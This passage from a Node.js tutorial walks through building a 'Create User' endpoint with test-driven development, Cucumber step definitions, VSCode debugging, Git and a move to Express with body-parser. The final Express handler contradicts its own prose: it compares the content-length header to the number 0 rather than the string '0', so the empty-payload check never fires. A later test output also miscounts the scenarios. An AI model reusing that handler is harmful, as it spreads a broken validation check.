It fails because our API is currently always returning the Hello World string with the HTTP status code of 200, regardless of what the request is. But this is nothing to be concerned about! Writing a failing test is the first step of the TDD workflow; now, we just need to write the minimum amount to code to make the test pass.

To make our fourth step pass, we must check the method and path of the req object in the requestHandler function, and if it matches POST and /users, respectively, we will send back a 400 response. 

But how do we know the structure of the req object? We can use console.log to print it onto the console, but the structure of objects such as req and res are complex and the output is going to be hard to read. Instead, we should use a debugger.

A debugger is a tool that allows us to pause the execution of the code at certain breakpoints and examine any variables that are accessible within that scope at the time. For us, we want to pause the execution inside our server's requestHandler method to enable us to examine the req object.

All modern browsers have a debugger built into them. Firefox has Firebug and Chrome has Chrome DevTools:

To use Chrome DevTools for Node.js debugging, simply pass in the --inspect flag when you run node, then navigate to chrome://inspect/#devices in Chrome, and click on the Open dedicated DevTools for Node link, which will open the debugger in a new window.

On July 22, 2018, Google released ndb (https://github.com/GoogleChromeLabs/ndb), an "improved" debugger that is based on Chrome DevTools, and uses Puppeteer (github.com/GoogleChrome/puppeteer) to interact with Chromium over the DevTools Protocol. It requires at least Node.js v8.0.0.

You can try it out by installing it locally:

$ yarn add ndb --dev

On Windows, you may also have to install the windows-build-tools package in order to compile native dependencies:

$ yarn global add windows-build-tools

Then, you can run the ndb binary with npx, and a new window will pop up:

ndb comes with its own integrated terminal, which will hook onto any node processes that you run from it.

While using Chrome DevTools and/or ndb provides several unique benefits, such as the availability of the Console, Memory, and Profile tabs, I'd still recommend using the debugger that comes with your IDE or code editor, simply because there's less context switching that comes with switching between different tools.

I recommend using Visual Studio Code as a code editor for JavaScript projects, and thus we will use the VSCode editor to illustrate our workflow; you are, however, free to use the IDE or editor of your choice.

Open up src/index.js on VSCode. If you hover your mouse to the left of the line numbers, you'll see some small, dimmed, red circles appear; you can click on the circle to insert a breakpoint on that line. This means whenever the script is executing and reaches that line, it will pause there. This allows us to examine the variables available within scope at that point. Go ahead and set the breakpoint at line 5.

const requestHandler = function (req, res) {
  debugger;
  res.writeHead(200, {'Content-Type': 'text/plain'});
  res.end('Hello, World!');
}

After you've set the breakpoint, go to the Debugger tab in your editor. Click the Start Debugging button (usually this looks like the "Play" button: ►); this will execute the current file:

The debugger throws an error because it doesn't recognize the ES6 modules' import syntax. This is because we are running the debugger on the source file directly, instead of the compiled file produced by Babel. To instruct VSCode to process modules, we can do one of two things:

• Install the @babel/node package and instruct VSCode to execute our file using babel-node.
• Instruct VSCode to add the --experimental-modules flag when running Node. This has been supported since Node v8.5.0.

To do either of these, we need to add configurations to the VSCode debugger. Configurations in VSCode are defined as JSON objects inside a launch.json file. To edit the launch.json file, click the cogwheel button () near the top. Then, paste in the following JSON object, which will provide us with both configurations mentioned before, as well as an option to run the program as normal:

{
  "version": "0.2.0",
  "configurations": [
    {
      "type": "node",
      "request": "launch",
      "name": "Node",
      "program": "${file}",
      "protocol": "inspector"
    },
    {
      "name": "Babel Node",
      "type": "node",
      "request": "launch",
      "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/babel-
      node",
      "runtimeArgs": [
        "--presets",
        "@babel/env"
      ],
      "program": "${file}",
      "protocol": "inspector"
    },
    {
      "name": "Node with Experimental Modules",
      "type": "node",
      "request": "launch",
      "runtimeExecutable": "~/.nvm/versions/node/v8.11.4/bin/node",
      "runtimeArgs": [
        "--experimental-modules"
      ],
      "program": "${file}",
      "protocol": "inspector"
    }
  ],
  "compounds": []
}

Now, also remember to install the @babel/node package as a development dependency:

$ yarn add @babel/node --dev

To use babel-node with the VSCode debugger, we also need to enable the retainLines option in Babel, which retains the line numbers between the source code and the built files. If we don't do this, VSCode's debugger would set the breakpoints at the incorrect lines.

However, we only want to retain lines when debugging our code; when we are building our application, we want it to be formatted sensibly. To do this, we can update our .babelrc to apply the retainLines option only when the BABEL_ENV environment variable is set to "debug":

{
  "presets": [
    ["@babel/env", {
      "targets": {
        "node": "current"
      }
    }]
  ],
  "env": {
    "debug": {
      "retainLines": true
    }
  }
}

Then, open up the launch.json file again and add the following to the Babel Node configuration:

{
  "name": "Babel Node",
  "type": "node",
  ...
  ...
  "protocol": "inspector",
  "env": {
    "BABEL_ENV": "debug"
  }
},

Now, stop your API server (if you're running it), go back to src/index.js, open up the Debug panel, select one of the two configurations we just defined, and click the Start Debugging button (►). This time, you should see it succeed:

In a new tab, navigate to localhost:8080. This time, you won't see our Hello, World! text; this is because our server hasn't provided a response yet! Instead, it has paused at the breakpoint we set.

On the left-hand side, we can see a tab called VARIABLES, and here we can see all the local, closure, and global variables available at our breakpoint. When we expand the req variable, we'll find the method and url properties, which are exactly what we need:

We've added several VSCode debugger configurations and should commit these changes to our Git repository. The VSCode configurations are, however, not part of our Create User feature, and should be committed directly to the dev branch.

However, we have already made some changes related to our Create User feature, and we can't check out the dev branch unless we git commit or git stash these changes. Ideally, we should commit the entire Create User feature together; it is not clean to have work-in-progress (WIP) commits in our Git history tree.

To resolve this dilemma, we can use git stash, but it can be quite confusing and you risk losing your work. Instead, we are going to commit the WIP changes now and amend the commit later with the full implementation. We can do this because we are working on our local feature branch, not one of the permanent dev or master branches. This means that as long we do not push our changes onto the remote repository, no one else will know about the WIP commit.

The workflow will be as follows:

1. git commit our WIP changes related to our Create User feature on the create-user/main branch.
2. git checkout the dev branch.
3. Add the @babel/node package once again.
4. git commit the VSCode debugger configuration changes onto the dev branch.
5. git checkout the create-user/main branch.
6. git rebase the create-user/main branch onto the dev branch.
7. Continue to work on the feature.
8. Run git add and git commit --amend to commit our implementation code in the existing commit.
9. Run yarn install to make sure all the packages are linked, especially those that are present in the create-user/main branch but not the dev branch.

Following that workflow, we should execute the following commands:

$ git add package.json yarn.lock spec/cucumber/steps/index.js
$ git commit -m "WIP Implement Create User with Empty Payload"
$ git checkout dev
$ yarn add @babel/node --dev
$ git add -A
$ git commit -m "Add configuration for VSCode Debugger"
$ git checkout create-user/main
$ git rebase dev
$ yarn install

Now that we understand how to use the debugger to examine the structure of complex objects, we are ready to implement the logic to check for the status of the response. To make our second test pass, we must send back a response with a 400 HTTP status code. With TDD, we should write the minimum amount of code that is required to make the test pass. Once the test passes, we can then spend some time refactoring the code to make it more elegant.

The most straightforward piece of logic to make the test pass is to simply check that the req object's method and url match exactly with 'POST' and '/users', and return with a 400 HTTP status code specifically for this scenario. If they do not match, send back the Hello World! response as before. After making the change, the requestHandler function should look something like this:

function requestHandler(req, res) {
  if (req.method === 'POST' && req.url === '/users') {
    res.statusCode = 400;
    res.end();
    return;
  }
  res.writeHead(200, { 'Content-Type': 'text/plain' });
  res.end('Hello, World!');
}

Now, restart our API server and run the E2E tests; the first four steps should now pass.

Note that the previous logic will indiscriminately return a 400 response, even if the payload is not empty. This is fine because the TDD process encourages you to write the minimum amount of code possible to make the tests pass, and so far we have only written a test for the empty payload scenario.

The rationale behind this is to ensure you are not falling into the trap of coding something that you don't need. This principle has been summarized in the phrase "You ain't gonna need it," or YAGNI, which is a principle that originated from extreme programming (XP). The original states that you should "always implement things when you actually need them, never when you just foresee that you need them". You may have also heard the phrase "do the simplest thing that could possibly work" (DTSTTCPW).

Being disciplined and sticking to this principle yields several benefits:

• It ensures you follow TDD: The tests are written before the code is.
• It saves you time: If we preempt a feature and implement it before it is needed, it may turn out that the feature was not needed after all, or the feature has changed from what you had in mind when you implemented it, or other parts of the code have changed and you'd need to revise your original implementation. In any case, you would have spent time on something that is not useful.

Even when you "know" for sure, make it a habit to follow the YAGNI principle.

The next test requires that the payload is a JSON object. Since our server is replying with a JSON object, the Content-Type header should also reflect this. Therefore, in our step definition, we should check for both of these criteria. In the spec/cucumber/steps/index.js, update the step definition to the following:

let payload;

...

Then('the payload of the response should be a JSON object', function () {
  const response = result || error;

  // Check Content-Type header
  const contentType = response.headers['Content-Type'] || response.headers['content-type'];
  if (!contentType || !contentType.includes('application/json')) {
    throw new Error('Response not of Content-Type application/json');
  }

  // Check it is valid JSON
  try {
    payload = JSON.parse(response.text);
  } catch (e) {
    throw new Error('Response not a valid JSON object'); 
  }
});

Now, restart our API server and we run the tests again; we should get a failing test:

$ yarn run test:e2e
....F-

...
    Then our API should respond with a 400 HTTP status code
    And the payload of the response should be a JSON object
       Error: Response not of Content-Type application/json
           at World.<anonymous> (spec/cucumber/steps/index.js:41:11)
   - And contains a message property which says "Payload should not be empty"

Red. Green. Refactor. Now we have a failing test (red), the next step is to make it pass (green). To do this, we must set the Content-Type header to application/json and provide a JSON object in the payload. Change our requestHandler function to the following:

function requestHandler(req, res) {
  if (req.method === 'POST' && req.url === '/users') {
    res.writeHead(400, { 'Content-Type': 'application/json' });
    res.end(JSON.stringify({}));
    return;
  }
  res.writeHead(200, { 'Content-Type': 'text/plain' });
  res.end('Hello, World!');
}

Run the tests again, and the first five tests should have passed.

Now, on to our last test. We need our error object payload to contain a message property that reads "Payload should not be empty". So first, let's implement our test:

Then('contains a message property which says "Payload should not be empty"', function () {
  if (payload.message !== 'Payload should not be empty') {
    throw new Error();
  }
});

Next, run the tests again and they should fail. Then, to make it pass, we need to pass a different object into the res.end method. Your if block should now look like this:

if (req.method === 'POST' && req.url === '/users') {
  res.writeHead(400, { 'Content-Type': 'application/json' });
  res.end(JSON.stringify({
    message: 'Payload should not be empty',
  }));
  return;
}

Now, when we run our E2E tests again, they all pass:

$ yarn run test:e2e
......

1 scenario (1 passed)
6 steps (6 passed)

Remember that the TDD process can be summed up with the phrase "Red. Green. Refactor". Here, we've written failing tests (red) and we've written some code to make them pass (green); therefore, the next step is to refactor, which, as a reminder, means restructuring and improving the quality of our implementation without changing its external behavior. This can mean the following:

• Reducing duplicated code (keeping things DRY)
• Improving readability
• Making our code more modular
• Reducing cyclomatic complexity, probably by breaking larger functions into smaller ones

Refactoring should be done for our entire code base, which includes both the test code and our application code. Here, however, our application code is already quite neat and there are no obvious areas we can improve on at this time. Therefore, we can focus on improving our test code.

At the moment, we are storing the request, result, error, and payload variables at the top level of the file's scope.

But step definitions can be mixed and matched in different scenarios. For example, in another scenario where we are updating a specific user, we may want to test that the API returns with the correct status code when given a malformed request. Here, we can reuse the same step definition, "our API should respond with a 400 HTTP status code", but this time, the error variable may not be set if the previous steps were defined in a different file.

Instead of using file-scoped variables, we can instead pass a context object into each step and use it to keep track of the results. This context object would be maintained throughout the entire scenario and be available in every step. In the vocabulary of Cucumber, an isolated context for each scenario is called a world. The context object is exposed inside each step as the this object.

Therefore, we can assign the response (regardless of it being a success or an error) to the more generically-named this.response and do the same for all other top-level file-scoped variables. After these changes, we should end up with the following spec/cucumber/steps/index.js file:

import superagent from 'superagent';
import { When, Then } from 'cucumber';

When('the client creates a POST request to /users', function () {
  this.request = superagent('POST', 'localhost:8080/users');
});

When('attaches a generic empty payload', function () {
  return undefined;
});

When('sends the request', function (callback) {
  this.request
    .then((response) => {
      this.response = response.res;
      callback();
    })
    .catch((error) => {
      this.response = error.response;
      callback();
    });
});

Then('our API should respond with a 400 HTTP status code', function () {
  if (this.response.statusCode !== 400) {
    throw new Error();
  }
});

Then('the payload of the response should be a JSON object', function () {
  // Check Content-Type header
  const contentType = this.response.headers['Content-Type'] || this.response.headers['content-type'];
  if (!contentType || !contentType.includes('application/json')) {
    throw new Error('Response not of Content-Type application/json');
  }

  // Check it is valid JSON
  try {
    this.responsePayload = JSON.parse(this.response.text);
  } catch (e) {
    throw new Error('Response not a valid JSON object');
  }
});

Then('contains a message property which says "Payload should not be empty"', function () {
  if (this.responsePayload.message !== 'Payload should not be empty') {
    throw new Error();
  }
});

When we refactor, we must be careful not to change the behavior of the existing code. Therefore, run our tests again to make sure they are still passing:

$ yarn run test:e2e
......

1 scenario (1 passed)
6 steps (6 passed)

At the moment, if one of the assertions fails, we're throwing a generic Error object:

throw new Error();

When the test actually fails, the error message is not helpful because it doesn't tell us what the actual result is:

✗ Then our API should respond with a 400 HTTP status code
   {}
   Error
       at World.<anonymous>

We can improve this by throwing an instance of AssertionError instead of just an instance of Error. AssertionError is a class provided by Node.js that allows you to specify the expected and actual outcomes.

To use it, first import it from the assert module:

import { AssertionError } from 'assert';

Then, change our step definition to the following:

Then('our API should respond with a 400 HTTP status code', function () {
  if (this.response.statusCode !== 400) {
    throw new AssertionError({
      expected: 400,
      actual: this.response.statusCode,
    });
  }
});

Now, when there's an error, the error output is much more informative:

 Then our API should respond with a 400 HTTP status code
       AssertionError [ERR_ASSERTION]: 200 undefined 400
           + expected - actual
           -200
           +400

           at new AssertionError (internal/errors.js:86:11)
           at World.<anonymous> (spec/cucumber/steps/index.js:27:11)

However, we can go one better and use the equal method from the assert module directly. Now, our step definition is much more concise:

import assert from 'assert';
...
Then('our API should respond with a 400 HTTP status code', function () {
  assert.equal(this.response.statusCode, 400);

assert.equal will automatically throw an AssertionError if the parameters passed into it are not equal.

Now do the same for the step definition that checks for the response's message:

Then('contains a message property which says "Payload should not be empty"', function () {
  assert.equal(this.responsePayload.message, 'Payload should not be empty');
});

Since we are only running these tests locally for now, we can simply hardcode the host name of our local API server, which we've set to http://localhost:8080/. However, it's never ideal to hardcode values into our code, as when we want to run these same tests on a different server, we'd have to edit the code itself.

Instead, we can make use of environment variables, which we can set in an .env file at the project root directory and load it when we run our tests.

Create a new .env file and add in the following entry:

SERVER_PROTOCOL=http
SERVER_HOSTNAME=localhost
SERVER_PORT=8080

Next, we need to load the environment variable into our code. We can use the dotenv-cli package (https://www.npmjs.com/package/dotenv-cli) to do this:

$ yarn add dotenv-cli --dev

To use the dotenv-cli package, you simply place dotenv in front of the command you want to run, and it will load the variables from the .env file and then run the command:

dotenv <command with arguments>

So, let's change our serve and test:e2e npm scripts to use the dotenv-cli package. Note that we are using a double dash (--) to pass the flags into cucumber-js after dotenv has finished loading the environment variables:

"serve": "yarn run build && dotenv node dist/index.js",
"test:e2e": "dotenv cucumber-js -- spec/cucumber/features --require-module @babel/register --require spec/cucumber/steps",

Then, in our code, remove the hardcoded hostname and replace it with the environment variable:

this.request = superagent('POST', `${process.env.SERVER_HOSTNAME}:${process.env.SERVER_PORT}/users`);

Again, we should run the tests to ensure they pass:

$ yarn run test:e2e
......

1 scenario (1 passed)
6 steps (6 passed)

Lastly, the point of using environment variables is that different environments would have different settings; therefore, we shouldn't track the .env file in Git. However, we do want to keep a record of what environment variables are supported, and so we should copy our .env file into a new .env.example file and add that into our Git repository:

$ cp .env .env.example

We have now implemented a new feature that is functional for a single scenario; this is a good time to commit our code to the Git repository. Remember that we had previously made a WIP commit. So now, instead of running git commit, we should add an --amend flag, which will overwrite and replace our previous commit:

$ git add -A
$ git commit --amend -m "Handle create user calls with empty payload"

We have completed our first scenario, so let's move on to our second and third scenarios. As a reminder, they are as follows:

• If the client sends a POST request to /users with a payload that is not JSON, our API should respond with a 415 Unsupported Media Type HTTP status code and a JSON object payload containing an appropriate error message.
• If the client sends a POST request to /users with a malformed JSON payload, our API should respond with a 400 Bad Request HTTP status code and a JSON response payload containing an appropriate error message.

Start by adding the following scenario definition to the spec/cucumber/features/users/create/main.feature file:

  Scenario: Payload using Unsupported Media Type

  If the client sends a POST request to /users with an payload that is 
  not JSON,
  it should receive a response with a 415 Unsupported Media Type HTTP 
  status code.

    When the client creates a POST request to /users
    And attaches a generic non-JSON payload
    And sends the request
    Then our API should respond with a 415 HTTP status code
    And the payload of the response should be a JSON object
    And contains a message property which says 'The "Content-Type" header must always be "application/json"'

  Scenario: Malformed JSON Payload

  If the client sends a POST request to /users with an payload that is 
  malformed,
  it should receive a response with a 400 Unsupported Media Type HTTP 
  status code.

    When the client creates a POST request to /users
    And attaches a generic malformed payload
    And sends the request
    Then our API should respond with a 400 HTTP status code
    And the payload of the response should be a JSON object
    And contains a message property which says "Payload should be in JSON format"

Notice that the first, third, and fifth steps are exactly the same as the ones in the previous scenario; therefore, Cucumber can re-use the step definition that we have already defined.

For the rest of the steps, however, we need to implement their corresponding step definitions. But since they are similar to the ones we've just defined, we can copy and paste them and make some small adjustments. Copy the following step definitions into spec/cucumber/steps/index.js:

When('attaches a generic non-JSON payload', function () {
  this.request.send('<?xml version="1.0" encoding="UTF-8" ?><email>dan@danyll.com</email>');
  this.request.set('Content-Type', 'text/xml');
});

When('attaches a generic malformed payload', function () {
  this.request.send('{"email": "dan@danyll.com", name: }');
  this.request.set('Content-Type', 'application/json');
});

Then('our API should respond with a 415 HTTP status code', function () {
  assert.equal(this.response.statusCode, 415);
});

Then('contains a message property which says \'The "Content-Type" header must always be "application/json"\'', function () {
  assert.equal(this.responsePayload.message, 'The "Content-Type" header must always be "application/json"');
});

Then('contains a message property which says "Payload should be in JSON format"', function () {
  assert.equal(this.responsePayload.message, 'Payload should be in JSON format');
});

Now, when we run our tests again, the first three steps of the Payload using Unsupported Media Type scenario should pass:

$ yarn run test:e2e
.........F--

Failures:
1) Scenario: Payload using Unsupported Media Type
    When the client creates a POST request to /users
   And attaches a generic non-JSON payload
   And sends the request
   Then our API should respond with a 415 HTTP status code
       AssertionError [ERR_ASSERTION]: 400 == 415
           + expected - actual
           -400
           +415
           at World.<anonymous> (spec/cucumber/steps/index.js:35:10)
   - And the payload of the response should be a JSON object
   - And contains a message property which says "Payload should be in JSON format"

2 scenarios (1 failed, 1 passed)
12 steps (1 failed, 2 skipped, 9 passed)

The fourth step fails because, in our code, we are not specifically handling cases where the payload is a non-JSON or malformed object. Therefore, we must add some additional logic to check the Content-Type header and the actual contents of the request payload, which is much more involved than indiscriminately returning a 400 response:

import '@babel/polyfill';
import http from 'http';
function requestHandler(req, res) {
  if (req.method === 'POST' && req.url === '/users') {
    const payloadData = [];
    req.on('data', (data) => {
      payloadData.push(data);
    });

    req.on('end', () => {
      if (payloadData.length === 0) {
        res.writeHead(400, { 'Content-Type': 'application/json' });
        res.end(JSON.stringify({
          message: 'Payload should not be empty',
        }));
        return;
      }
      if (req.headers['content-type'] !== 'application/json') {
        res.writeHead(415, { 'Content-Type': 'application/json' });
        res.end(JSON.stringify({
          message: 'The "Content-Type" header must always be "application/json"',
        }));
        return;
      }
      try {
        const bodyString = Buffer.concat(payloadData).toString();
        JSON.parse(bodyString);
      } catch (e) {
        res.writeHead(400, { 'Content-Type': 'application/json' });
        res.end(JSON.stringify({
          message: 'Payload should be in JSON format',
        }));
      }
    });
  } else {
    res.writeHead(200, { 'Content-Type': 'text/plain' });
    res.end('Hello, World!');

  }
}
const server = http.createServer(requestHandler);
server.listen(8080);

For POST and PUT requests, the body payload can be quite large. So, instead of receiving the entire payload in one large chunk, it's better to consume it as a stream of smaller units. The request object, req, that is passed into the requestHandler function implements the ReadableStream interface. To extract the request body of POST and PUT requests, we must listen for the data and end events emitted from the stream.

Whenever a new piece of data is received by our server, the data event will be emitted. The parameter passed into the event listener for the data event is a type of Buffer, which is simply a small chunk of raw data. In our case, the data parameter represents a small chunk of our JSON request payload.

Then, when the stream has finished, the end event is emitted. It is here that we check whether the payload is empty, and if it is, we return a 400 error as we did before. But if it is not empty, we then check the Content-Type header to see if it is application/json; if not, we return a 415 error. Lastly, to check whether the JSON is well formed, we concatenate the buffer array to restore our original payload. Then, we try to parse the payload with JSON.parse. If the payload is able to be parsed, we don't do anything; if it is not, it means the payload is not valid JSON and we should return a 400 error, as specified in our step.

Lastly, we had to wrap the JSON.parse() call in a try/catch block because it'll throw an error if the payload is not a JSON-serializable string:

JSON.parse('<>'); // SyntaxError: Unexpected token < in JSON at position 0

We run the tests again; all tests should now pass, with one exception: somehow, the step And contains a message property which says 'The "Content-Type" header must always be "application/json"' is said to be undefined. But if we check our step definitions, we can certainly see it is defined. So what's happening?

This is because the forward slash character (/) has a special meaning in Gherkin. It specifies alternative text, which allows you to match either of the strings adjacent to the slash.

For example, the step definition pattern the client sends a GET/POST request would match both of the following steps:

• the client sends a GET request
• the client sends a POST request

Unfortunately, there is no way to escape the alternative text character. Instead, we must employ regular expressions to match this step definition pattern to its steps. This is as simple as replacing the containing single quotes with /^ and $/, and escaping the forward slash:

Then(/^contains a message property which says 'The "Content-Type" header must always be "application\/json"'$/, function () {
  assert.equal(this.responsePayload.message, 'The "Content-Type" header must always be "application/json"');
});

Now, all our tests should pass:

$ yarn run test:e2e
..................

3 scenarios (3 passed)
18 steps (18 passed)

For consistency's sake, replace all other string patterns with regular expressions; run the tests again to ensure they're still passing.

Red. Green. Refactor. We again find ourselves at the "green" phase; therefore, the next step is to refactor. We are going to start with our test code first.

In our second scenario, we have three steps that are very similar to the steps defined for our first scenario. So far, we have simply been copying and pasting those step definitions and making small changes to them. Repetition or duplication is never good when it comes to code; so instead, we can define a scenario outline, which acts as a template scenario with placeholder variables that we can plug in. For example, we can combine these two scenarios into a scenario outline as follows:

Feature: Create User

  Clients should be able to send a request to our API in order to create a
  user. Our API should also validate the structure of the payload and respond
  with an error if it is invalid.

  Scenario Outline: Bad Client Requests

  If the client sends a POST request to /users with an empty payload, it
  should receive a response with a 4xx Bad Request HTTP status code.

    When the client creates a POST request to /users
    And attaches a generic <payloadType> payload
    And sends the request
    Then our API should respond with a <statusCode> HTTP status code
    And the payload of the response should be a JSON object
    And contains a message property which says <message>
 
  Examples:

  | payloadType | statusCode | message                                                       |
  | empty       | 400        | "Payload should not be empty"                                 |
  | non-JSON    | 415        | 'The "Content-Type" header must always be "application/json"' |
  | malformed   | 400        | "Payload should be in JSON format"                            |

First, we changed the keyword from Scenario to Scenario Outline and added placeholders (enclosed in <>). Then, we use the Examples keyword to supply these placeholders with actual values in the form of a datatable, which is simply columns of values separated by the pipe character (|). Now, our Cucumber specification is a lot less repetitive!

After each refactoring step, we should take care to ensure that we didn't break anything. So run our tests again and check they still pass.

In a similar vein, we can introduce parameters into our step definitions to help us avoid duplicated code. With string patterns, parameters can be specified using curly braces ({}), inside of which the type of the variable is indicated.

For example, our Then our API should respond with a <statusCode> HTTP status code step definition can be redefined as follows:

Then('our API should respond with a {int} HTTP status code', function (statusCode) {
  assert.equal(this.response.statusCode, statusCode);
});

Here, we've replaced the hardcoded 400 HTTP status code with a placeholder, {int}, which indicates that the pattern should match an integer. Then, we are passing the value of the placeholder into the code function as statusCode, which is then used to perform the checks.

We can do the same with regular expression patterns. Instead of curly braces, we can define parameters by adding capturing groups to the RegEx. For instance, the same step definition would look like this using a regular expression pattern:

Then(/^our API should respond with a ([1-5]\d{2}) HTTP status code$/, function (statusCode) {
  assert.equal(this.response.statusCode, statusCode);
});

Update your spec/cucumber/steps/index.js file to add groups to the regular expression patterns, and use those captured parameters in your step definition function. The end result should look like this:

import assert from 'assert';
import superagent from 'superagent';
import { When, Then } from 'cucumber';

When(/^the client creates a (GET|POST|PATCH|PUT|DELETE|OPTIONS|HEAD) request to ([/\w-:.]+)$/, function (method, path) {
  this.request = superagent(method, `${process.env.SERVER_HOSTNAME}:${process.env.SERVER_PORT}${path}`);
});

When(/^attaches a generic (.+) payload$/, function (payloadType) {
  switch (payloadType) {
    case 'malformed':
      this.request
        .send('{"email": "dan@danyll.com", name: }')
        .set('Content-Type', 'application/json');
      break;
    case 'non-JSON':
      this.request
        .send('<?xml version="1.0" encoding="UTF-8" ?><email>dan@danyll.com</email>')
        .set('Content-Type', 'text/xml');
      break;
    case 'empty':
    default:
  }
});

When(/^sends the request$/, function (callback) {
  this.request
    .then((response) => {
      this.response = response.res;
      callback();
    })
    .catch((error) => {
      this.response = error.response;
      callback();
    });
});

Then(/^our API should respond with a ([1-5]\d{2}) HTTP status code$/, function (statusCode) {
  assert.equal(this.response.statusCode, statusCode);
});

Then(/^the payload of the response should be a JSON object$/, function () {
  // Check Content-Type header
  const contentType = this.response.headers['Content-Type'] || this.response.headers['content-type'];
  if (!contentType || !contentType.includes('application/json')) {
    throw new Error('Response not of Content-Type application/json');
  }

  // Check it is valid JSON
  try {
    this.responsePayload = JSON.parse(this.response.text);
  } catch (e) {
    throw new Error('Response not a valid JSON object');
  }
});

Then(/^contains a message property which says (?:"|')(.*)(?:"|')$/, function (message) {
  assert.equal(this.responsePayload.message, message);
});

Now that our tests have been refactored, we can now turn our focus to refactoring our application code. The great thing about having existing E2E tests is that if, during the refactoring, we break something, the tests will fail and we'd be able to fix them quickly.

As we did before, let's list out all the issues with our current code:

• It is not very readable.
• We have to work with quite low-level constructs, such as streams and buffers.
• We have not taken into consideration performance and security implications. For example, we are not handling situations where the payload is extremely large (or even infinite). This is a dangerous situation to avoid if we want to ensure high-availability of our service.

For the last issue, we can add an additional if block inside the req.on('data') block to check whether the payload is getting too large; if it is, we can return a 413 Payload Too Large error. In the following example, we are using a limit of 1e6, which is one million, or 1,000,000, bytes:

const PAYLOAD_LIMIT = 1e6;
req.on('data', function (data) {
  payloadData.push(data);
  const bodyString = Buffer.concat(payloadData).toString();
  if (bodyString.length > PAYLOAD_LIMIT) {
    res.writeHead(413, { 'Content-Type': 'text/plain' });
    res.end();
    res.connection.destroy();
  }
});

However, this makes the code even harder to understand. At the moment, there's not too much functionality behind our API, yet our code is already quite long and complex; imagine how much more obscure it will get when we have to implement the logic to parse URL paths, query parameters, and so on.

As you may expect, these problems have already been solved and optimized by frameworks. So, let's take a look at some libraries we can use and then pick the one that best fits our use case.

At a minimum, we want a basic router; at most, we want a web framework. In this section, we will focus on four of the most popular frameworks: Express, Koa, Hapi, and Restify:

For basic features such as routing, all of these frameworks are more than capable. They differ only in their philosophy and community support.

Express is, without a doubt, the most popular and has the most community support, but it requires a lot of configuration and extra middleware just to get it out of the box. On the other hand, Hapi's configuration-centric philosophy is very interesting, because it means we don't have to change our code or update 10 different middleware, even when the feature code is changed and optimized. It's configuration-as-code, which is a nice philosophy to follow.

However, when we develop our frontend application with React, we may later decide to use more advanced features, such as Server-Side Rendering (SSR). For these, we need to ensure that the tools and integrations we employ are widely used, so that if we run into any trouble, there'll be a large group of developers out there who have faced and resolved those issues. Otherwise, we may waste a long time looking at that source code to figure out a simple problem.

So although Hapi might technically be a better choice in theory, we will use Express because it is more popular and has a lot more community support.

$ git add -A && git commit -m "Handle malformed/non-JSON payloads for POST /user"

There are two ways to install Express: directly in the code itself or through the express-generator application generator tool. The express-generator tool installs the express CLI, which we can use to generate an application skeleton from. However, we won't be using that because it's mainly meant for client-facing applications, while we are just trying to build a server-side API at the moment. Instead, we'll add the express package directly into our code.

First, add the package into our project:

$ yarn add express

Now open up your src/index.js file, and replace our import of the http module with the express package. Also replace the current http.createServer and server.listen calls with express and app.listen. What was previously this:

...
import http from 'http';
...
const server = http.createServer(requestHandler);
server.listen(8080);

Would now be this:

...
import express from 'express';
...
const app = express();
app.listen(process.env.SERVER_PORT);

To help us know when the server has successfully initialized, we should add a callback function to app.listen, which will log a message onto the console:

app.listen(process.env.SERVER_PORT, () => {
  // eslint-disable-next-line no-console
  console.log(`Hobnob API server listening on port ${process.env.SERVER_PORT}!`);
});

We needed to disable ESLint for our console.log line because Airbnb's style guide enforces the no-console rule. // eslint-disable-next-line is a special type of comment recognized by ESLint, and will cause it to disable the specified rules for the next line. There is also the // eslint-disable-line comment if you want to disable the same line as the comment.

Next, let's migrate our requestHandler function to Express. With Express, instead of defining a single request handler for all our routes, we can define request handlers for each route using the format app.METHOD('path', callback), where METHOD is the HTTP method of the request.

Therefore, replace our previous requestHandler function with an app.post call. This is our old implementation:

function requestHandler(req, res) {
  if (req.method === 'POST' && req.url === '/users') {
    // Handler logic for POST /user
  } else {
    res.writeHead(200, { 'Content-Type': 'text/plain' });
    res.end('Hello, World!');
  }
}

And this is our new implementation:

app.post('/users', (req, res) => {
  // Handler logic for POST /user
});

The req and res objects passed by Express are identical to the ones passed by Node's http module; this is why we can reuse the same logic as before. Run the tests again and they should still all pass:

$ yarn run test:e2e
............

2 scenarios (2 passed)
12 steps (12 passed)

Our code using Express is much clearer than our original example; here, each route is defined in its own block. Furthermore, if a request comes in for an unspecified route, then a 404: Not Found response is automatically given. These small conveniences highlight one of the benefits of using a framework rather than programming your own implementation.

Furthermore, instead of using res.writeHead, we can use res.status and res.set:

# Without Express
res.writeHead(400, { 'Content-Type': 'application/json' });

# With Express
res.status(400);
res.set('Content-Type', 'application/json');

Similarly, instead of using res.end with JSON.stringify, we can use the new res.json method provided by Express.

res.end(JSON.stringify({ message: 'Payload should not be empty' }));    // Without Express
res.json({ message: 'Payload should not be empty' });                   // With Express

That's just the start of our Express journey. The power of Express is in its abundance of middleware, which are functions that every request passes through. These middleware functions can opt to modify the request object before it arrives at the handler.

Therefore, instead of working with streams and buffers to obtain our payload data, we can make use of a very popular middleware package, body-parser. body-parser provides the ability to parse request bodies into JavaScript objects, which can then be consumed by our handlers. It does this in an efficient and optimized way, and also provides safeguards to ensure the payload is not too large. So, let's install it:

$ yarn add body-parser

Then, add the following lines to the top of src/index.js to instruct our application server to use the body-parser package to parse any request that has a JSON body:

import bodyParser from 'body-parser';
...
app.use(bodyParser.json({ limit: 1e6 }));

The bodyParser.json method returns with a middleware.  Here, we are using the app.use() method to instruct our instance of the Express server to use the middleware generated by the bodyParser.json method. The middleware will parse the payload and assign it to the body property of the req object. We no longer need to work with streams and buffers; we can simply get the payload from req.body!

Inside our app.post('/users') call, remove any code that works with buffers and streams, and replace the payloadData variable with req.body. Lastly, replace the condition req.body.length === 0 inside our first if block with req.headers['content-length'] === '0'. Our handler should now look like this:

app.post('/users', (req, res) => {
  if (req.headers['content-length'] === 0) {
    res.status(400);
    res.set('Content-Type', 'application/json');
    res.json({
      message: 'Payload should not be empty',
    });
    return;
  }
  if (req.headers['content-type'] !== 'application/json') {
    res.status(415);
    res.set('Content-Type', 'application/json');
    res.json({
      message: 'The "Content-Type" header must always be "application/json"',
    });
    return;
  }
  res.status(400);
  res.set('Content-Type', 'application/json');
  res.json({
    message: 'Payload should be in JSON format',
  });
});

